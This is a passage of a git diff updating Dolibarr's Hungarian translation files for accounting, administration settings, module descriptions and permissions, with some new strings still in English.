-OptionModeProductSellDesc=Az összes termék megjelenítése az értékesítés könyvelési fiókjával. -OptionModeProductSellIntraDesc=Az összes termék megjelenítése az EGK-beli értékesítés könyvelési számlájával. -OptionModeProductSellExportDesc=Az összes termék megjelenítése az egyéb külföldi értékesítések könyvelési számlájával. -OptionModeProductBuyDesc=Minden termék megjelenítése a vásárlások könyvelési fiókjával. -OptionModeProductBuyIntraDesc=Az összes termék megjelenítése az EGK-ban történő vásárlások könyvelési számlájával. -OptionModeProductBuyExportDesc=Minden termék megjelenítése könyvelési számlával az egyéb külföldi vásárlásokhoz. -CleanFixHistory=Távolítsa el a könyvelési kódot a nem létező sorokból a számlatükörből +OptionModeProductBuy=Vásárlások módjai +OptionModeProductBuyIntra=EEC-ben importált vásárlások módjai +OptionModeProductBuyExport=Más országokból importált vásárlási módok +OptionModeProductSellDesc=Az összes termék megjelenítése az értékesítés számviteli számlájával. +OptionModeProductSellIntraDesc=Az összes termék megjelenítése az EGK-beli értékesítés számvitelii számlájával. +OptionModeProductSellExportDesc=Az összes termék megjelenítése az egyéb külföldi értékesítések számvitelii számlájával. +OptionModeProductBuyDesc=Minden termék megjelenítése a vásárlások számviteli számlájával. +OptionModeProductBuyIntraDesc=Az összes termék megjelenítése az EGK-ban történő vásárlások számviteli számlájával. +OptionModeProductBuyExportDesc=Minden termék megjelenítése számviteli számlával az egyéb külföldi vásárlásokhoz. +CleanFixHistory=Távolítsa el a számviteli kódot a számlatükör nem létező soraiból CleanHistory=A kiválasztott év összes kötésének visszaállítása PredefinedGroups=Előre meghatározott csoportok -WithoutValidAccount=Érvényes dedikált fiók nélkül -WithValidAccount=Érvényes dedikált fiókkal -ValueNotIntoChartOfAccount=A könyvelési számla értéke nem szerepel a számlatükörben -AccountRemovedFromGroup=A fiók eltávolítva a csoportból +WithoutValidAccount=Érvényes dedikált számla nélkül +WithValidAccount=Érvényes dedikált számlákka +ValueNotIntoChartOfAccount=A számviteli számla értéke nem szerepel a számlatükörben +AccountRemovedFromGroup=A számla eltávolítva a csoportból SaleLocal=Helyi értékesítés SaleExport=Export értékesítés SaleEEC=Eladó az EGK-ban -SaleEECWithVAT=Akció az EGK-ban áfával, nem nullával, ezért feltételezzük, hogy ez NEM közösségen belüli értékesítés, és a javasolt fiók a szabványos termékszámla. -SaleEECWithoutVATNumber=EGK-ban áfa nélkül, de a harmadik fél áfaazonosítója nincs megadva. A szokásos értékesítéseknél a termékszámlára térünk vissza. Szükség esetén javíthatja a harmadik fél vagy a termékfiók áfaazonosítóját. +SaleEECWithVAT=Az EGK-ban történő értékesítés áfával nem nulla, ezért feltételezzük, hogy ez NEM közösségen belüli értékesítés, és a javasolt számla a szabványos termékszámla. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Tiltott: A tranzakciót ellenőrizték és/vagy exportálták. ForbiddenTransactionAlreadyValidated=Tiltott: A tranzakció érvényesítése megtörtént. ## Dictionary @@ -401,7 +416,11 @@ Calculated=Kiszámított Formula=Képlet ## Reconcile +LetteringAuto=Automatikus egyeztetés +LetteringManual=Kézi egyeztetés Unlettering=Egyeztetetlen +UnletteringAuto=Automatikusan egyeztethetetlen +UnletteringManual=Kézzel egyeztethetetlen AccountancyNoLetteringModified=Nincs egyeztetés módosítva AccountancyOneLetteringModifiedSuccessfully=Egy egyeztetés sikeresen módosítva AccountancyLetteringModifiedSuccessfully=%s egyeztetés sikeresen módosítva @@ -410,27 +429,29 @@ AccountancyOneUnletteringModifiedSuccessfully=Egy egyeztetetlen sikeresen módos AccountancyUnletteringModifiedSuccessfully=%s egyeztetetlen sikeresen módosítva ## Confirm box -ConfirmMassUnlettering=Tömeges egyeztetetlen visszaigazolása +ConfirmMassUnletteringAuto=Tömeges automatikus egyeztetés megerősítése +ConfirmMassUnletteringManual=Tömeges kézi egyeztetés visszaigazolása ConfirmMassUnletteringQuestion=Biztosan meg akarja szüntetni az %s kiválasztott rekord(ok) egyeztetését? ConfirmMassDeleteBookkeepingWriting=Tömeges törlés megerősítése ConfirmMassDeleteBookkeepingWritingQuestion=Ezzel törli a tranzakciót a könyvelésből (az ugyanahhoz a tranzakcióhoz kapcsolódó összes sor törlődik) Biztosan törölni szeretné az %s kiválasztott rekordo(ka)t? ## Error SomeMandatoryStepsOfSetupWereNotDone=A beállítás néhány kötelező lépése nem történt meg, kérjük, végezze el őket -ErrorNoAccountingCategoryForThisCountry=Nincs elérhető számviteli fiókcsoport a következő országhoz: %s (Lásd Főoldal - Beállítás - Szótárak) -ErrorInvoiceContainsLinesNotYetBounded=Megpróbálja naplózni a %s számla néhány sorát, de néhány más sor még nincs könyvelési fiókhoz kötve. A számlához tartozó összes számlasor naplózása elutasításra kerül. -ErrorInvoiceContainsLinesNotYetBoundedShort=A számla egyes sorai nincsenek a könyvelési számlához kötve. +ErrorNoAccountingCategoryForThisCountry=Nincs elérhető számviteli számlacsoport a következő országhoz: %s (Lásd Főoldal - Beállítás - Szótárak) +ErrorInvoiceContainsLinesNotYetBounded=Megpróbálja naplózni a számla néhány sorát %s , de néhány más sor még nincs a számviteli számlához kötve. A számlához tartozó összes számlasor naplózása elutasításra kerül. +ErrorInvoiceContainsLinesNotYetBoundedShort=A számla egyes sorai nincsenek számviteli számlához kötve. ExportNotSupported=A beállított exportformátum nem támogatott ezen az oldalon -BookeppingLineAlreayExists=A könyvelésben már létező sorok +BookeppingLineAlreayExists=A könyvelésben már meglévő sorok NoJournalDefined=Nincs napló meghatározva Binded=Sorok kötve ToBind=Kikötendő sorok -UseMenuToSetBindindManualy=A sorok még nincsenek bekötve, használja a %s menüt a kötéshez manuálisan +UseMenuToSetBindindManualy=A sorok még nincsenek bekötve, az %s menü segítségével hajtsa végre a manuális kötést SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sajnos ez a modul nem kompatibilis a szituációs számlák kísérleti funkciójával AccountancyErrorMismatchLetterCode=Nem egyezik az egyeztető kód AccountancyErrorMismatchBalanceAmount=Az egyenleg (%s) nem egyenlő 0-val AccountancyErrorLetteringBookkeeping=Hibák történtek a következő tranzakciókkal kapcsolatban: %s ErrorAccountNumberAlreadyExists=Az %s számviteli szám már létezik +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Számviteli bejegyzések @@ -440,10 +461,10 @@ FECFormatJournalLabel=Címkenapló (JournalLib) FECFormatEntryNum=Darabszám (EcritureNum) FECFormatEntryDate=Darab dátuma (EcritureDate) FECFormatGeneralAccountNumber=Általános számlaszám (CompteNum) -FECFormatGeneralAccountLabel=Általános fiókcímke (CompteLib) +FECFormatGeneralAccountLabel=Általános számlacímke (CompteLib) FECFormatSubledgerAccountNumber=Alkönyvi számlaszám (CompAuxNum) FECFormatSubledgerAccountLabel=Alkönyvi számlaszám (CompAuxLib) -FECFormatPieceRef=Darab ref (PieceRef) +FECFormatPieceRef=Darab hiv (PieceRef) FECFormatPieceDate=Dátum létrehozása (PieceDate) FECFormatLabelOperation=Címkeművelet (EcritureLib) FECFormatDebit=Terhelés (terhelés) @@ -455,8 +476,9 @@ FECFormatMulticurrencyAmount=Többvaluta összeg (Montdevise) FECFormatMulticurrencyCode=Több pénznem kódja (ötlet) DateExport=Dátum exportálás -WarningReportNotReliable=Figyelem, ez a jelentés nem a Főkönyvön alapul, így nem tartalmaz a Főkönyvben kézzel módosított tranzakciót. Ha a naplózása naprakész, a könyvelési nézet pontosabb. +WarningReportNotReliable=Figyelem, ez a jelentés nem a Főkönyvön alapul, így nem tartalmaz a Főkönyvben kézzel módosított tranzakciót. Ha a naplózás naprakész, a könyvelési nézet pontosabb. ExpenseReportJournal=Költségjelentési napló -InventoryJournal=Léttári napló +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines -NAccounts=%s fiók +NAccounts=%s számlák diff --git a/htdocs/langs/hu_HU/admin.lang b/htdocs/langs/hu_HU/admin.lang index 1a119f91c09..877294d65d0 100644 --- a/htdocs/langs/hu_HU/admin.lang +++ b/htdocs/langs/hu_HU/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Ügyfél karakterkészlet egyeztetés WarningModuleNotActive=A %s modult engedélyezni kell WarningOnlyPermissionOfActivatedModules=Csak az aktivált modulokkal kacsolatos jogosultságok jelennek meg itt. A többi modul a Home->Beállítás->Modulok oldalon aktiválható. DolibarrSetup=A Dolibarr telepítése vagy frissítése -InternalUser=Belső felhasználó -ExternalUser=Külső felhasználó InternalUsers=Belső felhasználók ExternalUsers=Külső felhasználók UserInterface=Felhasználói felület @@ -147,6 +145,7 @@ Box=Widget Boxes=Widgetek MaxNbOfLinesForBoxes=A modul számára elérhető sorok száma AllWidgetsWereEnabled=Az összes elérhető modul engedélyezve van +WidgetAvailable=Widget available PositionByDefault=Alapértelmezett sorrend Position=Pozíció MenusDesc=A menükezelők a két menüsor (vízszintes és függőleges) tartalmát állítják be. @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP / SMTPS Host (alapértelmezett érték a php.ini fáj MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP / SMTPS port (Unix-szerű rendszerekben nincs meghatározva a PHP-ben) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP / SMTPS Host (Unix-szerű rendszerekben nincs meghatározva a PHP-ben) MAIN_MAIL_EMAIL_FROM=Küldő e-mail automatikus e-mailekhez (alapértelmezett érték a php.ini-ben: %s ) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=A kézbesítési hibához használt e-mail cím (az elküldött e-mailek „Errors-To” mezői) MAIN_MAIL_AUTOCOPY_TO= Az összes elküldött e-mail másolása (Bcc) MAIN_DISABLE_ALL_MAILS=Az összes e-mail küldés letiltása (teszt vagy demók céljából) @@ -375,7 +375,7 @@ DoTestSendHTML=HTML küldés tesztelése ErrorCantUseRazIfNoYearInMask=Hiba, nem használható a @ opció az éves számláló nullázására, ha a (z) {yy} vagy (yyyy} sorozat nincs maszkban. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Hiba, nem tudja használni, ha az opció @ {sorozat} {nn mm ÉÉÉÉ} vagy {} {} mm nincs maszk. UMask=Umask paramétert az új fájlok a Unix / Linux / BSD fájlrendszer. -UMaskExplanation=Ez a paraméter lehetővé teszi, hogy meghatározza jogosultságok beállítása alapértelmezés szerint létrehozott fájlok Dolibarr a szerver (feltöltés közben például).
      Ennek kell lennie az oktális érték (például 0666 segítségével írni és olvasni mindenki számára).
      Ez a paraméter haszontalan egy Windows szerverre. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Vessen egy pillantást a Wiki oldalra a közreműködők és szervezeteik listájára UseACacheDelay= Késleltetése caching export válasz másodpercben (0 vagy üres cache nélkül) DisableLinkToHelpCenter=A bejelentkezési oldalon rejtse el a „Segítségre vagy támogatásra van szüksége” hivatkozást @@ -439,8 +439,10 @@ Unique=Egyedi Boolean=Logikai érték (egy jelölőnégyzet) ExtrafieldPhone = Telefon ExtrafieldPrice = Ár +ExtrafieldPriceWithCurrency=Ár pénznemmel ExtrafieldMail = E-mail ExtrafieldUrl = Cím +ExtrafieldIP = IP ExtrafieldSelect = Kiválasztó lista ExtrafieldSelectList = Válassz a táblából ExtrafieldSeparator=Elválasztó (nem mező) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Jelölőnégyzeteket ExtrafieldCheckBoxFromList=Jelölőnégyzetek a táblából ExtrafieldLink=Link egy objektumhoz ComputedFormula=Számított mező -ComputedFormulaDesc=Itt megadhat egy képletet az objektum más tulajdonságait vagy bármilyen PHP kódot használva, hogy dinamikusan számított értéket kapjon. Bármilyen PHP-kompatibilis képletet használhat, beleértve a "?" feltétel operátor és a következő globális objektum: $db, $conf, $langs, $mysoc, $user, $object.
      FIGYELMEZTETÉS: A $objektum csak néhány tulajdonsága lehet elérhető. Ha olyan tulajdonságra van szüksége, amely nincs betöltve, egyszerűen töltse be az objektumot a képletbe, mint a második példában.
      A kiszámított mező használata azt jelenti, hogy nem adhat meg magának semmilyen értéket a felületről. Szintaktikai hiba esetén előfordulhat, hogy a képlet semmit sem ad vissza.

      Példa a képletre:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Példa objektum újratöltésére
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj-> rowid: $objektum->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Egy másik példa az objektum és szülőobjektuma betöltésének kényszerítésére szolgáló képletre:
      (($reloadedobj = új feladat($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = új projekt($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project ) > 0)) ? $secondloadedobj->ref: "A szülőprojekt nem található" +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Számított mező mentése ComputedpersistentDesc=A kiszámított extra mezőket az adatbázis tárolja, azonban az érték csak akkor kerül újraszámításra, ha a mező objektuma megváltozik. Ha a kiszámított mező más objektumoktól vagy globális adatoktól függ, akkor ez az érték rossz lehet! ExtrafieldParamHelpPassword=Ha ezt a mezőt üresen hagyja, akkor ez az érték titkosítás nélkül lesz tárolva (a mezőt csak a csillaggal lehet elrejteni a képernyőn).
      Állítsa be az „auto” értéket az alapértelmezett titkosítási szabály használatával a jelszó adatbázisba mentéséhez (akkor az olvasott érték csak hash kód lesz, az eredeti érték nem olvasható) @@ -501,7 +503,8 @@ WarningPHPMail=FIGYELMEZTETÉS: Az e-mailek alkalmazásból történő küldés WarningPHPMailA=- Az e-mail szolgáltató szerverének használata növeli az e-mailek megbízhatóságát, így növeli a kézbesíthetőséget anélkül, hogy SPAM-ként jelölnék meg WarningPHPMailB=- Egyes e-mail szolgáltatók (például a Yahoo) nem engedélyezik, hogy e-mailt küldjön a saját szerverüktől eltérő szerverről. A jelenlegi beállítás az alkalmazás szerverét használja az e-mailek küldésére, nem pedig az e-mail szolgáltató szerverét, így néhány címzett (amely kompatibilis a korlátozó DMARC protokollal) megkérdezi az e-mail szolgáltatóját, hogy elfogadják-e az Ön e-mailjeit, és néhány e-mail szolgáltató. (mint a Yahoo) nemmel válaszolhat, mert a szerver nem az övék, így előfordulhat, hogy néhány elküldött e-mailt nem fogadunk el kézbesítésre (vigyázzon az e-mail szolgáltatója küldési kvótájára is). WarningPHPMailC=- A saját e-mail szolgáltatója SMTP szerverének használata e-mailek küldésére is megfelelő, így az alkalmazásból küldött összes e-mailt a postafiók "Elküldött" könyvtárába is elmentjük. -WarningPHPMailD=Ezért javasolt az e-mailek küldési módját az „SMTP” értékre módosítani. Ha valóban meg szeretné tartani az alapértelmezett „PHP” módszert az e-mailek küldéséhez, hagyja figyelmen kívül ezt a figyelmeztetést, vagy távolítsa el a MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP konstans 1-re állításával a Kezdőlap - Beállítás - Egyéb részben. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=Ha az e-mail SMTP-szolgáltatójának bizonyos IP-címekre kell korlátoznia az e-mail klienst (nagyon ritka), akkor ez az ERP CRM-alkalmazás mail felhasználói ügynökének (MUA) IP-címe: %s. WarningPHPMailSPF=Ha a küldő e-mail címében szereplő domain nevet SPF rekord védi (kérdezze meg a domain név regisztrátorát), akkor a következő IP-címeket kell hozzáadnia a domain DNS SPF rekordjához: %s. ActualMailSPFRecordFound=A tényleges SPF rekord található (a %s e-mailhez): %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Példa:
      Az új harmadik felet létrehozó PageUrlForDefaultValuesList=
      Példa:
      A harmadik feleket felsoroló oldal esetében ez a %s.
      Az egyéni könyvtárba telepített külső modulok URL-címe esetén ne használja az "egyéni/"-t, így használjon egy elérési utat, például mymodule/mypagelist.php, és ne custom/mymodule/mypagelist.php.
      Ha csak akkor szeretne alapértelmezett értéket, ha az url-nek van valamilyen paramétere, akkor használja a %s parancsot. AlsoDefaultValuesAreEffectiveForActionCreate=Azt is vegye figyelembe, hogy az űrlapkészítés alapértelmezett értékeinek felülírása csak a helyesen megtervezett oldalakon működik (vagyis a paraméter action=create vagy presend ...) EnableDefaultValues=Az alapértelmezett értékek testreszabásának engedélyezése -EnableOverwriteTranslation=A felülírt fordítás használatának engedélyezése +EnableOverwriteTranslation=A fordítások testreszabásának engedélyezése GoIntoTranslationMenuToChangeThis=A kódhoz tartozó kulcshoz fordítás található. Ezt az értéket a Kezdőlap-Beállítások-Fordítás menüben lehet megváltoztatni. WarningSettingSortOrder=Figyelem, az alapértelmezett rendezési sorrend beállítása technikai hibát okozhat, ha a listaoldalra lép, és egy mező ismeretlen. Ha ilyen hibát tapasztal, térjen vissza erre az oldalra az alapértelmezett rendezési sorrend eltávolításához és az alapértelmezett viselkedés visszaállításához. Field=Mező @@ -643,11 +646,13 @@ Module2300Name=Időzített feladatok Module2300Desc=Ütemezett feladatok kezelése (alias cron vagy chrono table) Module2400Name=Események/Naptár Module2400Desc=Események nyomonkövetése. Automatikus események naplózása nyomkövetési célokra, vagy a kézzel létrehozott események és találkozók rögzítése. Ez a fő modul a megfelelő ügyfél- vagy kereskedelmi kapcsolatkezeléshez. +Module2430Name=Foglaltsági naptár +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=Dokumentumkezelő rendszer / elektronikus tartalomkezelés. A generált vagy tárolt dokumentumok automatikus szervezése. Ossza meg őket, amikor szükséges. -Module2600Name=API/Web szolgáltatások (SOAP szerver) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Engedélyezze az API szolgáltatásokat nyújtó Dolibarr SOAP szervert -Module2610Name=API / Web szolgáltatások (REST szerver) +Module2610Name=API / Web services (REST server) Module2610Desc=A Dolibarr REST API szerver engedélyezése Module2660Name=WebServices hívása (SOAP kliens) Module2660Desc=Engedélyezze a Dolibarr webszolgáltatási klienst (Használható adatok / kérések külső kiszolgálókra történő továbbításához. Jelenleg csak a megrendelések támogatottak.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP MaxMind konverziók képességek Module3200Name=Megváltoztathatatlan archívumok Module3200Desc=Az üzleti események megváltoztathatatlan naplójának engedélyezése. Az események valós időben archiválódnak. A napló a láncolt események csak olvasható táblázata, amely exportálható. Ez a modul bizonyos országokban kötelező lehet. +Module3300Name=Modul Készítő +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Közösségi hálózatok Module3400Desc=Engedélyezze a közösségi hálózatok mezőit harmadik felek és címek számára (skype, twitter, facebook, ...). Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=Nemzetközi kereskedelmi feltételek Module62000Desc=Funkciók hozzáadása a Nemzetközi kereskedelmi feltételek kezeléséhez Module63000Name=Erőforrások Module63000Desc=Az eseményekhez elosztandó erőforrások (nyomtatók, autók, helyiségek, ...) kezelése -Permission11=Olvassa vevői számlák +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Átvételek +Permission11=Read customer invoices (and payments) Permission12=Létrehozza / módosítja vevői számlák Permission13=Érvénytelen vevői számlák Permission14=Érvényesítés vevői számlák @@ -842,9 +852,9 @@ Permission286=Névjegyek exportálása Permission291=Olvassa tarifák Permission292=Engedélyek beállítása a tarifák Permission293=Módosítsa az ügyfelek tarifáit -Permission300=Vonalkódok olvasása -Permission301=Vonalkódok létrehozása/módosítása -Permission302=Vonalkódok törlése +Permission301=Generate PDF sheets of barcodes +Permission304=Vonalkódok létrehozása/módosítása +Permission305=Vonalkódok törlése Permission311=Olvassa szolgáltatások Permission312=Szolgáltatás/előfizetés hozzárendelése a szerződéshez Permission331=Olvassa könyvjelzők @@ -940,7 +950,7 @@ Permission1190=Beszerzési rendelések jóváhagyása (második jóváhagyás). Permission1191=Szállítói rendelések és attribútumuk exportálása Permission1201=Get eredményeképpen az export Permission1202=Létrehozása / módosítása a kiviteli -Permission1231=Szállítói számlák olvasása +Permission1231=Read vendor invoices (and payments) Permission1232=Szállítói számlák létrehozása/módosítása Permission1233=Szállítói számlák ellenőrzése Permission1234=Szállítói számlák törlése @@ -971,13 +981,14 @@ Permission3301=Új modulok létrehozása Permission4001=Képesség/munka/pozíció olvasása Permission4002=Képesség/munka/pozíció létrehozása/módosítása Permission4003=Képesség/munka/pozíció törlése -Permission4020=Értékelések olvasása -Permission4021=Az értékelés létrehozása/módosítása -Permission4022=Értékelés ellenőrzése -Permission4023=Értékelés törlése -Permission4030=Lásd az összehasonlító menüt +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Értékelés ellenőrzése +Permission4025=Értékelés törlése +Permission4028=Lásd az összehasonlító menüt Permission4031=Személyes adatokat olvasása Permission4032=Személyes adatokat írása +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Olvasd el a webhely tartalmát Permission10002=Webhelytartalom létrehozása/módosítása (html és javascript tartalom) Permission10003=Webhely tartalmának létrehozása/módosítása (dinamikus php kód). Veszélyes, korlátozott fejlesztőknek kell fenntartani. @@ -1040,7 +1051,7 @@ DictionaryCompanyType=Partnerek típusai DictionaryCompanyJuridicalType=Partner jogi képviselői DictionaryProspectLevel=Kilátás lehetséges szintje a vállalatok számára DictionaryProspectContactLevel=Tekintse meg a kapcsolatok potenciális szintjét -DictionaryCanton=Államok / Tartományok +DictionaryCanton=Államok / Tartományok / Vármegyék DictionaryRegion=Régiók DictionaryCountry=Országok DictionaryCurrency=Pénznemek @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Az eszközök elidegenítésének típusa TypeOfUnit=Az egység típusa SetupSaved=Beállítás mentett SetupNotSaved=A beállítás nincs elmentve +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Vissza a modulok listájához BackToDictionaryList=Vissza a szótárak listájához TypeOfRevenueStamp=Adóbélyegző típusa @@ -1222,7 +1237,7 @@ SetupDescription4=%s -> %s

      Ez a szoftver számos modul/a SetupDescription5=Az "Egyéb beállítás" menü az opcionális paramétereket tartalmazza. SetupDescriptionLink=%s - %s SetupDescription3b=Az alkalmazás alapértelmezett viselkedésének testreszabásához használt alapvető paraméterek (pl. az országgal kapcsolatos szolgáltatásokhoz). -SetupDescription4b=Ez a szoftver sok modulból/alkalmazásból álló csomag. Az Ön igényeihez kapcsolódó modulokat engedélyezni és konfigurálni kell. Ezen modulok aktiválásával menübejegyzések jelennek meg. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Auditált biztonsági események NoSecurityEventsAreAduited=Nincsenek biztonsági események auditálva. A %s menüből engedélyezheti őket Audit=Biztonsági események @@ -1238,12 +1253,13 @@ BrowserName=Böngésző neve BrowserOS=Böngésző operációs rendszere ListOfSecurityEvents=Listája Dolibarr biztonsági események SecurityEventsPurged=Biztonsági események kitisztítják -TrackableSecurityEvents=Trackable security events +TrackableSecurityEvents=Nyomon követhető biztonsági események LogEventDesc=Adott biztonsági események naplózásának engedélyezése. A napló adminisztrátora a %s - %s menün keresztül. Figyelmeztetés, ez a funkció nagy mennyiségű adatot generálhat az adatbázisban. AreaForAdminOnly=A beállítási paramétereket csak rendszergazdai felhasználók állíthatják be. SystemInfoDesc=Rendszer információk különféle műszaki információkat kapunk a csak olvasható módban, és csak rendszergazdák számára látható. SystemAreaForAdminOnly=Ez a terület csak a rendszergazda felhasználók számára érhető el. A Dolibarr felhasználói engedélyei nem módosíthatják ezt a korlátozást. CompanyFundationDesc=Szerkessze cége/szervezete adatait. Ha elkészült, kattintson a „%s” gombra az oldal alján. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=Ha van külső könyvelője / könyvvizsgálója, itt szerkesztheti annak adatait. AccountantFileNumber=Könyvelői kód DisplayDesc=Az alkalmazás megjelenését és megjelenítését befolyásoló paraméterek itt módosíthatók. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Triggerek ebben a fájlban vannak aktív %s m GeneratedPasswordDesc=Válassza ki a módszert a jelszavak automatikus létrehozásához. DictionaryDesc=Illessze be az összes referenciaadatot. Értékeit hozzáadhatja az alapértelmezett értékekhez. ConstDesc=Ezen az oldalon olyan paramétereket szerkeszthet (felülbírálhat), amelyek más oldalakon nem állnak rendelkezésre. Ezek többnyire csak a fejlesztők/haladó hibaelhárítás számára fenntartott paraméterek. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=Az összes többi biztonsággal kapcsolatos paraméter itt kerül meghatározásra. LimitsSetup=Korlátok / Precision beállítás LimitsDesc=Itt meghatározhatja a Dolibarr által használt korlátokat, pontosságokat és optimalizációkat @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Kell futtatni ezt a parancsot a YourPHPDoesNotHaveSSLSupport=SSL funkció nem áll rendelkezésre a PHP DownloadMoreSkins=További bőrök letöltése SimpleNumRefModelDesc=Visszaadja a hivatkozási számot %syymm-nnnn formátumban, ahol az yy az év, a mm a hónap és az nnnn egy szekvenciálisan növekvő szám, nullázás nélkül +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Visszaadja a hivatkozási számot %syymm-nnnn formátumban, ahol az yy az év, a mm a hónap és az nnnn egy szekvenciálisan növekvő szám, nullázás nélkül SimpleNumRefNoDateModelDesc=A hivatkozási számot adja vissza a következő formátumban: %s-nnnn, ahol az nnnn egy szekvenciális automatikusan növekvő szám nullázás nélkül ShowProfIdInAddress=Mutasson szakmai azonosítót címekkel ShowVATIntaInAddress=Közösségen belüli adószám elrejtése @@ -1380,7 +1399,7 @@ GetBarCode=Szerezzen vonalkódot NumberingModules=Számozási modellek DocumentModules=Dokumentummodellek ##### Module password generation -PasswordGenerationStandard=Belső Dolibarr algoritmus szerint generált jelszót ad vissza: %s karakter, amely megosztott számokat és kisbetűs karaktereket tartalmaz. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Nem javasolt a generált jelszó. A jelszót manuálisan kell beírni. PasswordGenerationPerso=Egy jelszóval tér vissza a személyes beállításoknak megfelelően. SetupPerso=A beállításainak megfelelően @@ -1434,6 +1453,10 @@ SuppliersPayment=Szállítói kifizetések SupplierPaymentSetup=Szállítói fizetések beállítása InvoiceCheckPosteriorDate=Ellenőrizze a gyártás dátumát az érvényesítés előtt InvoiceCheckPosteriorDateHelp=A számla érvényesítése tilos, ha annak dátuma korábbi, mint az utolsó azonos típusú számla dátuma. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=A kereskedelmi modul beállítási javaslatok ProposalsNumberingModules=Üzleti ajánlat számozási modulok @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Vízjel a szerződéstervezeteken (nincs, ha üres ##### Members ##### MembersSetup=Tagok modul beállítása MemberMainOptions=Fő opciók +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Készítsen egy Login minden tagja számára AdherentMailRequired=Új tag létrehozásához e-mail cím szükséges MemberSendInformationByMailByDefault=Checkbox levelet küldeni visszaigazolást a tagok (jóváhagyás vagy új előfizetés) alapértelmezés szerint be van MemberCreateAnExternalUserForSubscriptionValidated=Hozzon létre egy külső felhasználói bejelentkezést minden 